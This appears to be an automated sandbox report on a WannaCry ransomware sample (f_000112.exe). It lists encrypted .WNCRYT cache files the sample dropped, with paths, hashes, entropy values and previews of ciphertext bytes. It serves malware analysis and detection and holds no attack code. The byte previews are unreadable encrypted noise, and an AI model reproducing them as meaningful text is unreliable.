                                                                                                                                                                              Preview:WANACRY!.....R..Y.(,.4. 6.2E.YN)...{.-...S.c</.y.."!x.}z;.Bm.C..1X.:de....T.....'[wG./'.1..o.......1...p...8.Jj...o.*9.u.....U.v+C......P;.r....O....~.`.........HW.b[..U..s[.,`.....Y?t.R.?.d.g....q.hTWE.#X.6`.s..l..3\........V..Xt...C5..Z![..j,..n.w...?.....@......>'..X.D6...+.y...L.).eb{..tnrc*....!G........pV..*.....u...f..b.:jRD[...Y....^B.y.....#..J.........F..9..J......b.c...cDj...t@..................+.'......1.Q....+...9.4G....5r...(.'..m...o..,.d......!.b.6.@~..K..&T....?.J.....;..S.C.V"...UM.hY........0.\.g...[. [..q.......#.82.i.....".<....+...F...Ez..M.f..S.*....|.....:...7.-....^....s....(........7..%.g......).Pg.<_O$........W4;..c..9N.*........8.B...R D..f.." 3U.....w...N<..I.....8e..[...Y.y.\$...,.nu|..+tH.(|.&..;...........C.._EO...6......-.z..go.$..Y...&-.K(.....u...~.`.%4.......`L^.".@.O.b..\lM....bw...?..j,K_...M..mu.B.u.mu...HV....jJ.{7UB....M6.D6+.Z.{..v...02.....t.k.|..1...f.[<\..K.......o...$R;a[DsI.^..;...2. .:

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.860282969094477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQ54+xhXHQY9pZd3UoNsl4DgH4zvvpdHbNcdm4XEv2CX+PM5eZ96Ihm63Ebe7VA:bkQm8h3QYZd3U0slCy4bR3sm4XEvL+PU
                                                                                                                                                                              MD5:FC0963B04A02C547555960A50FFA599F
                                                                                                                                                                              SHA1:4D8ACF1581310B095849B5D1B72DFD4B113141FF
                                                                                                                                                                              SHA-256:0CFAB04296BEB97DC175A4F075DF6D353EE95EFE61E38143256CC4CAF1290F90
                                                                                                                                                                              SHA-512:DC887EA47CCB8B9E850D17B1813BA39E3A5C66CD358E0BFD9082A154830FC3D9D1DDAF6D27EB842634A4F1220A78170E04D1518792B1460738DDABB1088AACA9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........5-.K.`3..H.....e8.yg.Ni[.G...."u*7...#..^.P.>.%g.xn.E..."=.wn........gBQ..e....z..v._....g.H.8.:.f.S."........y=.'.xg...H............V.fMI..l......}..........ZK>.%.._...2.%.9.I...&.$...i..I.i`.r.A.I..jw...G).H......|.9,.Y.L5.Y ]S...G.. ..7............."6.TP..y.B...E..|. s.I.he.;j..U.RZx...k.n.....B...x.....{.R.A..U...e..K....jZ.-...<J!...|..~..bh|.8.R#..h.....#mV0....[7M...h0W^..z)"@.....?..,e..,...ITSX....l.[.YW.\.$BO..'H..b.N...a.E.5D..............i..].-..#..D.....y....P.l4..S8.....|..8n;..O.n....;@....A..z.c<.....9<.j....d..E.$..w..8f.O......J1LZ...H.W..H.cP.>N].|.-..wT....r.._.......^.....)j..B~k.=.Q.2....g.yg.m.?Vvg..y.T4...:d.g..ZS.....2..Q5\.]4v....<...x.N2..k..qhE.a...I.{"8.=..%4:".~0..8...@m(...g3..$.......gS....V...u....^U.E..`......_.v...:....^LP...:..C.L..>.5..s]3..........s.J...&./..._9..B..%....l.j.%s......$d,..tmq.9V..V..$....tU$<vh.M...LH....o......M....!V.!T2....q.Gj#..w.....x.0x..nw.T...%.[..O>4#.........

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.879227016429219
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqdau0ei6EsJ+OpX/SKDzNhqxN/vmzui50FjuAhNZTjM1rVCyGJohn7ok:bkBucwzJ/SK7qvEPVAhb8xktJoh7ok
                                                                                                                                                                              MD5:D0EC0A96E0FDD73627CC891226000350
                                                                                                                                                                              SHA1:3CD4AFDFC32BEBF2F6195E759BA4E3A2FDED3403
                                                                                                                                                                              SHA-256:630ACCA4366367844C13DD139B2A984F187CF85859B4BE12857294B29C42797A
                                                                                                                                                                              SHA-512:F0AC7567F82167AEC796C5FD4EBB68A554D2FF41C41FF8B0A24B0D4F2DF8D954DD6981C6CE75D542113C953F1B0127DC744D063388294F7FE1229B1002D63693
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......qUN..A....QlTK..e. MU...b.;...75.H.D~.j..G..',R.'.K.H..8.QJL..<B|\V._.iq\......0.......G.9..K..1./9.....):.6...W....?!......n....H...M...a...F...k.sq.........Jv..N...#Gz-.+.....O..G>E.S..*.....6..........f.).F..^.`.F..@..o!}.....zH...P.....................9K.,DS....L..+-..m=....I@sqyn2.J..w..^.....fJ.....!....-..K.Z&..J....V.&4Z. n?\..T..jr..c......u....b...d..-..V.m......7o|.b..<........@...]J5....4.zu....E..*.....ujY.........&......'..t..Z8c.....w&I?......UY\<..v.Z...B.g~.."...}...@....x'......z[_......{6.............&*.Y..v.@c.P..g'(&.a5..!g.8D(|.....].7.&.,Wbq.9..~.C.Q..{....H~).l..N..;........D.#....DCZ..C5......@....)N..f/....\.......)....UN.S%..-...Y.[.<..;P...=.o.6.....C..q|k....m.....W]L..7...|.('.pJ......r....*{P.~T.pj. C...`B..|.Sa....f...@.sb...av......<....A....e..{[...%.?.#...M.O....{'.T'H(...!.$3.\.h..F.....M.I!M..J.....I.........-...%CG..m...<..:.m&....Ex.n..l......}15.jHO..:<..;.OS......&..

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.850519503745943
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQda6VPgGRyubIdPDpNwRggOsvn/kpiQyr8AbfIUqVxj/mJwjyq:bkQdMUX4PPkPOsvn/yyr3mBIw3
                                                                                                                                                                              MD5:8EE1845B64EA61F4E7469BF9AE08213B
                                                                                                                                                                              SHA1:D5C9C171E310852EE2838D55C6577B5C4BB01745
                                                                                                                                                                              SHA-256:D854C64A5ABDFAE275306248B001E5ABB71161BA6082451D9411FBFE1E512C32
                                                                                                                                                                              SHA-512:CFCFD4C1DAA84E5DF8CC9342871C715AA5E29D014944E45BE25F8BC7C1FD6F8DF1029EE791BE57ABA5EF8D5335BA943B5F5076BE318EF1EBC85211A4122FB745
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6.4.....|..C...9v.e.|.|....W...\..=..q...S.A...F.!...*...........<...:....|9.&.4m.).`.Bw..waN.a.RI..?.EP...@q.u...*.])...>..8Ff...$.Q.b../.....} T....wr.b.......@.:....?.C[s..K.....&..~;..............!..iO...t0.......5.c.......D7*.K........(........%e.q-...s1...C@*.{.x.P.-.b.m0FpC..f.EhA.y<J..\..^o.HfJ.....kR......C`.......).3@..Z.D....i...O..D}O...z.._........hoP;..^o.....Q.i<"..}.roC.X6.=.@...ISeT.m1V.............a-.+....H:....&...h...3u....4..b..%........t.#..K....#.. .dAx...~......?..[q..{d...M#P.+..D&..g...k.b.L.j.wE.=8. ..}.i+9..>......v.An,...:.@..eyE........x....}*~..R.bO$W.._.]{.$.3......g.l.Y.E...S.7..&f.Dy..+...]_;N\).FoQ..hjS}2..3p..C.....n.s.V.~..6.........&&^.....~..p.z.'q.:..H.w....[..92Ol..u>*h.....&...C...K.[H3...."....>....1/.!Q....~.4.HHLT;4,..2PH..P/..w....f/.5..W9M...^...}.o..!<..En.T...%..\.M........m...M......}......=.0W1..7.U...{....C....;.s.Z...+_.*.]....4.6.....*...Z..W..6.m2.L...U..Nn....XN..a.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.834258383719284
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKVYcU4tQqsGMHJDTpJo39KFXl4sR4HL82HrR5nYJ2VRQyMYP5vq44Y/2AGrqPs:bkrcz4Dg3QIi4rHN5nYoQyJPdl4aJG2U
                                                                                                                                                                              MD5:1D8A4261AB04F6804CA451ABBBC5B4FB
                                                                                                                                                                              SHA1:DC8A1AAA9302222A6377F2067FD879FD8C9ABD84
                                                                                                                                                                              SHA-256:1BDFDFD98D883B9AD3AC302C3F99854D3FD6BD09226D8548065DFB4911721C05
                                                                                                                                                                              SHA-512:6437F8CFADEDECC25A065B7801CF7DBB5B7820E21D45B8238316124A880D1BDE210555CD4578A360965D1172A8F14FAE99A09F8C02C3D8C84848840D75440897
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....._kD.{5....2q..ut...W.<d.r}.....gP..h....}.n..w.6.th.6kTN%......j......JZ..bVi...z...z.%....f.X.........)......k.I..u.j5y X..7>....".B..W.g...wnF...........&...}. "S.NP.H.a.i..t9..4....9.~..s?W....D+.../.&C]...P....NW....4.8.q...1=...%5[........(.........X8..p.ib......,.jR.._.....W..7;..UA&..:.3WB.-.....WG...r.....l.C......~+u....g.........I..FS..QL.?U..jN3b..H..n..h...{O.2p...z...`i...%[y....0......06.y/?B..~R)....)........1.1.. ..\.V.d.0v..K.IgIO...C4!.S....S..L#.y4.O.X).#.?.VRgA...fU..w...j4A{...-qqkTk...~.....1q.7...%..}$...&.]..'...T....|.O...\f9..?.T....!..=.*q./..i...KF........q..R..._.../&...S.._..W..=....|........?/.FJ,/b...F.G|". ....n..l!..:.T7.ol.G.1YUej.,..;)A.g..........Zq...S.in/..R3....;.H...v.. ...vGCl.O ...\. ./....7...x|..c..I....66.y...'.-.(.h,b.<.....n%.$....u.8f6..'..n...?/.6.+M.xT...%Z....~f..H.U"H..:....,s..~]..'.].\......XJ3.w.tm...g...LCZ.Gk@=..b...sY. ...O....t..8.,..L..Ug..7'>x...4..[..eTL.....K.B..> ......

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999366095499318
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:Y9miGcVfXe1G7sh6m9S++UamLa2gnfxCk+IZlumFc0ntq9HWn8Hwz9kfOVPDd6+m:YEiQTsOS9lBfo6juxmGWn8HUMOVrd7CH
                                                                                                                                                                              MD5:443D501C070E4AEA363C284367A40FF3
                                                                                                                                                                              SHA1:1238A2B6A643C18B0096121FD5192ABF907E83A6
                                                                                                                                                                              SHA-256:870EAB939D9F777505AC9B257AD0F4D4758B50F899B4D8567A2E6BDCED8CFC20
                                                                                                                                                                              SHA-512:B71744375034A52AA6284EF21B353DC34E08B69FD530C68BE2C12D91D602CE65C59D89A7C2DF690C3205C3256855A751A933DD6AECCF650C36283E6B2A560F34
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s.E..U....B.y<....z/B.&...@..,......|W...E9l.r0.*.t..50.6>.>T..,.I'..Vc.k~.......Td.*f6.*dKH....r_..kvw\..C.p....T.~.D.....;.=..}E`Q....f0,J..1.C.l<sLL....a.)........"..x../.....Q.@..X."....u...?.R..3..x{$p..~".7..2L......i.CG<..1`......M...m.................a9om.>..$....;...Y....g.....T%.b.A...\`....e......k.b.d.$%u\.....P..NS..w...\.Y.G4x.a..NskK.TP...P....y+...._..8.[.M.....-6..ry!_.%.t....5.......xM...JR.II...R...=.HA<..i.5... .l....go.T..."\...mm;..p...Fz......{.lO..l.ZN.w:$.d.Pt...h).&).aOk...Q.F.Z..(.g.?.Y..-......X..\...m1...uu.@.X.7.u..........yG.m..-.<.w..!HO..7.K.{C..?.i..Q.y..n.1...ls..J@cK..+~v.h._.V6.,...F.!.....e...{.-..0H..3W....BP.+..l....< .k..V..|Zhs....r.[.i...lK.F...'..J/.O[.]...F..0R.^r..........46.... .?c......]..n%.Y."..[7.6..ua.....y.....Y..%.`;g.K.....?...X...7.,......z.Y..w..+[.(*[.^.5X..P9..]@..^...... ...p.:..........V.......j..u..0|....Co...;m...^.r.w....I".Xp.H....qs....t...MU&.(...8..O....0.K.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999303893970602
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:530P4ka6ZBcUVXAzycU1YVCZDHn0tcPjy1t3PU+TxHZMwA4BWbHh:h0P4ERzcpGDUt8jy1t7T1Zlwh
                                                                                                                                                                              MD5:04D302C84D0ADBB3C79012EFC373EF1C
                                                                                                                                                                              SHA1:FD7DAA8F2F1734416B7D4D08F7D6915E9A2DC9A8
                                                                                                                                                                              SHA-256:5C87E9D7C2581C8EA12EF02A46146AB34548B6AA0AAC975903C173E386FB6BD0
                                                                                                                                                                              SHA-512:F1EF4F39D036AAE570230DAE5EFB96AFACAAEFFA1BD4CB54EDCAB51480FA02299C9542C53B88C14C4BD1DBDD6D830CC0DE555780FD604C6C1C0FEAFAA5195E11
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....9.=..I.f.O+..q....v...R.s..............=...^.S.D.<.`....3N...4d......&...4....V.3.?M.M...]9]..z...+x..........o..p.}..s.N.f!>9..._>.......=..,.W.../....6.K...W..~.....c..C....A.M.....g...;.....YW.`.~.opQ...e.r.Gl..P.Q..YQy.../)0..........J.b.S..............q....iP1g.f0....J.M..A.F(8.-,{.^&..p...'H..p.R.....y".$.IO...i.c.Y....iUB..6.,S....w|...../..._[Z...9..p.W....Xe...<.Le&eO.(..,l#.....e.?..M|...&./tk.....x...Xi~...VUk.....+....I..R..."..v.p..g.>.o.^j..(....(&.j....=.....(5.E.G].exBl..(..E....o....O....X.A.........@#.z..`!N{.+e..h..>...@/.m)*P...>\.,pm.'U.u|.....9.YO.Gd..1>.DG.`.d.m.o..h2F$.6.....SE.m}C..^HG.<XeS..v.....\..[H......Q..E....`N.....L.^.b.dh....W_....x.lH.8.@+.E>...?....s.9..{....0...\.9.....8....Yl.y.....U.....F.&'!.|...zs..z....svNN6U..M.e..zg..],..f.).I.ySf.z...x.X.....0...7.f..-...Y.t3..?..."......s9rMR'60`$.s..gm.,.b.j..1...F.c....u..3F,..G...|..BDE..._..w...8..G..$.3/.....j...IV~.....v..:....H.rW.LR...c6G.%p...)=.*.d

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999368770693903
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QVuWAW5AT8h5EXK75yKZ4zzGv8/NH5/ZWGBL82LadSNdckOBx+:oAW5ATmE6I0o0gL82LadmcDB4
                                                                                                                                                                              MD5:2AD2B1EE30C4358D3CBD414CA8314654
                                                                                                                                                                              SHA1:CB6B2C617BC090A40573342B03143EB1480C5923
                                                                                                                                                                              SHA-256:10CFAC992E9055824157069B89EF4D0728FEE518EA357C801A757D150BE8942F
                                                                                                                                                                              SHA-512:A5896D87C72FF65A966EBD580273497B49C66AB325D13F51F78765DC059AAD81780A164050C5DF59CF03824227E2DE375A60901DCB7C5EE75847B7DEA71B420C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......m6C.}.u....S..t.p.Na.Y.<.j%.-]...+.T....R..|p<.D.1......]|.....\....k.U..2...0b.....F..a/]{;..:.y.A.....`.:.N.....%%..+.*a.k....#a...;G.......0..6.Fy.K.Ak.>..........v..+....+...9+..a.."..f.C.)d....<.8_I..S.Q..P.FN.-.<4.Z.....x...+..]...............fv...[...2.S..o..}o.....i.M..Y..{X.+...Xe_^$.d.29."....P......s]Y.>.....N.....r>5j._<./..4....N8.1.,7.Vg......h..Z....%. ....J.u...j.....A.............+.X.y.1.T..G....:...xj..@mcDcW.E..:...}.....5.s.s.I.6.........k..5.L.x.........^U..c.".......x.|...|.G(..2!0a.i..)..j+......d.z.N.Ot.qJ4/#.F..*....&1.2...|....u..d...xq..`..-|..@..6.T.F.$.}aeQ..;.2T4..C "...j..W..K!..8]A.&.../........5..^...y....l.fA../..T~....S..L.K.-p..P., ...W.o..CC...>.mn.~....u...V.3......TK&.....=.....PN.X6.!..............%......!y#.._K..s.dt...Z:5M,.6.rVS.A..._..M.q.Mv..KE...O.Kq.....TE".A......<..?.J.l....;.<)`..ZMM...j1.w.K.......Q..Z.I.H.#.o...2.....FA.......qw.v.../.IFE...A]....U.v.`.o.<9.2E./.;..

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.847716674229477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksh4RXHG+YWzqxv8jGe3+acnPAf0uL0DlExEuKp5IWbAoW37QH2ln:bksakJIZ3+fPu0um2EuKplTW37QH2ln
                                                                                                                                                                              MD5:BC0BDF2663B99152A31401BE781D1DFD
                                                                                                                                                                              SHA1:735655ABB54D330E8D36B448812451F732242A9C
                                                                                                                                                                              SHA-256:4235BB4BD87C632D50220C4745F7BC86943BD344BAF4FCD9DBEB4CA332CBDA32
                                                                                                                                                                              SHA-512:FA7F4D8026B4C407F65BD8344D532DBABB600EFE5D23B5792A1D1020E3CE7D2B0086EE44103830073BD9B54B6BA299BC6AA420CB4444E9D6B650348E05AEE587
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L..-... 6....E.K.........J.@7#p|(..r.............}...?3$.6...~E..7j;.*....&({....V..=..Rdf.{...!...@9.....-*.."..=..9....$...+.h..3.U..-..R.u.k.s.^h2..w......!1.......~W..h...^..7.#.....g...S..w....q........F....?.........s..=.[.x.......J....(............{.`..7hE?Rj.....0c.h...J...B2.D4..d.D\.aP/..m5ui.~hSIR.WQ1.w..+....\L......Hd|h..h......Z.|...O.x...jZ.......J..m<.&Q:..Zj|h.....N.p..".2.&.f.P?n.3m.O.uS.a..C...8.:Z....k......)..ty.>........QC..c}. e<..q..U.!eS..GE..z}c...F.!.U9..{....ze.M....m...9..ilT......S....6.".........F3.[P.yi..).Ujs0]IF9.....`'..X..j...U.........8$G..?..g.va.s....0.....2{...dr......jj..HK,a.u...79....6..+%...m.d.w`.V.8..+....C.R.=.s.:........G.'.U.^....I..G#.[..S.z..".jN;.Ga.`...j%...P...u.GmS.Ba....9.A......Vl#...X...."u....1.[.70(kDW.,...?..V.c.b..ZH.ss,./Y.A..OY..S.8jr*'.y.T.......^..r#FK......}....q.(K.M.kIela.c.2.............&V....V...1.ST.../.(......g...A,U0R?......l.0.#.7...n...*).T....=n.......c

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.851414557907344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPyJb6CuKBLsD2OsnrizKOMzeSZmHecT7sb1WS5fnVD1RTM5vldX:bkeb6mSD2RrizbdSgHTUb959D45vP
                                                                                                                                                                              MD5:DBFDF24E357CDB7ACEDDE8DC41524AE6
                                                                                                                                                                              SHA1:D8A56A1D05CCEE35F999365F7CAF8A465DC2A996
                                                                                                                                                                              SHA-256:28E987E9C8E0D901EF839AF8CFD78C20EB3FEB75D2FCA259896E45067F0032EC
                                                                                                                                                                              SHA-512:D2D659BE9F4D9C3FACE0E310712F4665997059046FC496343BB883C8DBDD632382479BD65E77EB434C7809BD1993BF894FC813AC8F70742617DD4A7B82969A1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......_..."..&.s>.>T....c.2......0.-.t..f...|)S.....q.Oz..|.o;..GW.......G.c..3oq6.z[....X.<4...3h.BicCCk.R`+.............(.0.aw.F...<...Y..dh..]jN..;.Ts.3O.z....C.I.D...L!L..sD..Ym.;..f{t..Dn-....V...^t.G...Q..k.'.q.........\..|.F>.{,........SeYh....(.........q..j.n.:t?@n...&.I.#K.e.p).y.......^.f.q^..WX..a".|CB<(.j.@......o.E.L..x1..r.........{./...Y......."b.z..8.....6{...&....%..a((.1tl7..t.p....5..2.......p..G.\,....##t..U....$Z.....1.X..1[.Zk.rY.h.`.....$.....t....v..K...&.Q.Sw.....J.Tu.C.XJ.....5.XtD.LL.......n.;....I.............)D..$Jw..T-..}..'....4.v.......)F....,uM7*_=.+.eggj....g..q#+v.._.....@8....L2$.O...x{Ky7..(..z.h.U......._....v#k..PMw.Jd.F..%~W>f..x.7..t..?....0.@4..A.~S...%....`.klZ$.vw.a.P....Hs......g"#{.....%....`tF?2W&....\=Kr.c.T..(.R..U.{6..LL.f..cZ63...J..k....W^X..'.Y.."...`.s...._..P... ..o..*nU.{%.B.w*,B!..Q;.7.n.W.5[.....j.......f&...2..G .7.sT8..f;..3.....2.y..|.1G...eu.C.......M.t3F,m.........mh

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.870033970105981
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkADbrLwWQ4r6K6YkfM+TMX3rlenU2nOsqylu+hP7+hvD2ekEdM9KPLHIkQawmCg:bkA4WQ4uVk+AX3rlenznOPyluOz+hvDH
                                                                                                                                                                              MD5:C75B385BC5BCA958949577C07E5CB5D9
                                                                                                                                                                              SHA1:40AE682A91937CD02E65AB4DEDBB2AB30D762A9F
                                                                                                                                                                              SHA-256:29B939F92F7DCA0038D13240F9F2BB1F0C4CD70C4CC685C557B2E7CB5214C4B9
                                                                                                                                                                              SHA-512:A496F781F1DBDDCD3754A2F9BEC4510DE0BBB4F92461BDAF95AC32609B2690DA994873547DD6FCEDABE7D9708166BA31C0ECBA8F6FA2F7B507A0925531AA94D3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....~&.".A..Av...|q.`.......3.X.@,..E.n.3y.ZW..q...$f8;Dj5.'.".5.0.6......4U|..Ut`.c....0+.h..e.+.1.O.[............^.%...".5@.8..0.=.af....?4/.).R.6.=e.....h..w........Dl..Ei.una.....R..4....X.......F_..DaCLe....nDH.}Bb."....w..O.^P..Q5...m......m%..m...............3ud|....Z......f1b..{.;6SY.;.....L g...S..5....-I....O.%....MJJ[....C..2.0.Uj.[..J...h&.....^2.v..G=xl..~YV.2..U....I...:C...n..............1l......LS.....^cU......8,.o..)]L...<v..=....lX..K.[..![...]...%OkFL|..Q.?.......6..-~x.....hh.....x.. .?.y....!.....L?.6..HP.q..HgU.,..i..W....yW.xY...H2..*.Cb.8\.y..Ub....0..-.;..^*}..[..g.s!...j.7.K..k7.....c.>.....j.'..Yj..|.Y....o...A.8...U.h....r...?....V..k..em..0...,h.7.._....La9......S.t..\F`..Bi8.....n"...N"J(. ....M......1..M.....e!H.I.JN_.+c...Y|.Y..;.../.W.g..D.6`.1.RMD2....b.n.;cT..Ly..UG.b.....C..1.C..v..z..>..V.....|{..)W..%...z+....|v.@2.....n.PwXY~.G..y.[..)-.g>..B.8.'.u.U.K....\....L...&.iJ..Ex.....aqA..s.A.Q.+g..a.,f.......\

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.853203232478879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkfBCj4vFCAY2tJd2ya2CzEF5WxuMJ6JTPwvHIabl8uC8KWCvoBAlpHXHO7L6oKN:bkfBI4tCJ2tUBzE8uMwabl8E3AlVOqN
                                                                                                                                                                              MD5:FB5C794D3F253962210E6CAE468AB40B
                                                                                                                                                                              SHA1:6D00381F0CE36EC64F2CB68F3D2542440545D74F
                                                                                                                                                                              SHA-256:CD3D8A10AABBEB16CAA65A0470B5009F1A1CDDCBD044AFEF384E49F056ACBEE9
                                                                                                                                                                              SHA-512:3B35FEB1B0EE4AA99481C593A728235E3BE92075ADCEF14D1A4BE5A457C98C8EB49C23ADDD3839A43B4D9E4290CB69EEA0ED9E2CC0FCF9A5E0304F72A0CE4AF2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........=.....F_M..N).I.>.i...<...AX.9..N.6.....*.Z....^.S.A..........T..v^Yx....)0I@u...... .......*..(/'.!!0F..)vJ...pu.......V...L...Gm...V..Z....?.k...`...c*.G.qs.....5g..z..@...G1p'...d.x..C.m.\..]..4.Y..|.i.r.~q...4..Gi....OG.......@................M...=0].6...% ......K92..L6U..gYo...V.Pa...=s.J?....".2I.w..|6..'..c....G".... ~.2-.i7!....."..6"r..c.7...W.D3........-.2...u....b.E.:.[p..UzZ.;v8.<.y...%..........i.W...uU{u{...iM..9...R....u...R...t.J..P1D..C......:...$r.'W.qS.m.q.....-2..?...%..=~O...f#i..w....6.|u15.4%.....`..*.....].v.....DFr......|0.....bNIz..!.w.PgF.F.=....?.x...!.c.v{..{!.%...w.3......f....m.....Z.!F...X.]q....&....o.4.n.(>...H..`Goiif..D.!%.-/h......8xh..].J......C...<....8P..^a1.v..iQ-.$..^..r.4.......s.K.)...bj6..~ ..!.^.jzoO....D.;..+.1..{.&T(..{....h.e..FW....../."...S...y...!5.U..`............x.5S.2_..d....sUY$..$.+,...>.%...9........p...h..l1o<....3...."n....k...u..P.....Y4.....U..jlB._.^..

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):638136
                                                                                                                                                                              Entropy (8bit):7.999697339008664
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:NQ42Os+gJwfjJdyow9WzQJzYEJW7I/z89YmFJU7AVKmAX03h/CD:a4ffzw9WzIDQiz427kBUCCD
                                                                                                                                                                              MD5:073C341C94A84AD905D1C117237FA83E
                                                                                                                                                                              SHA1:BED058526AE92C5F32D1A22B2644F37FCC0EF46F
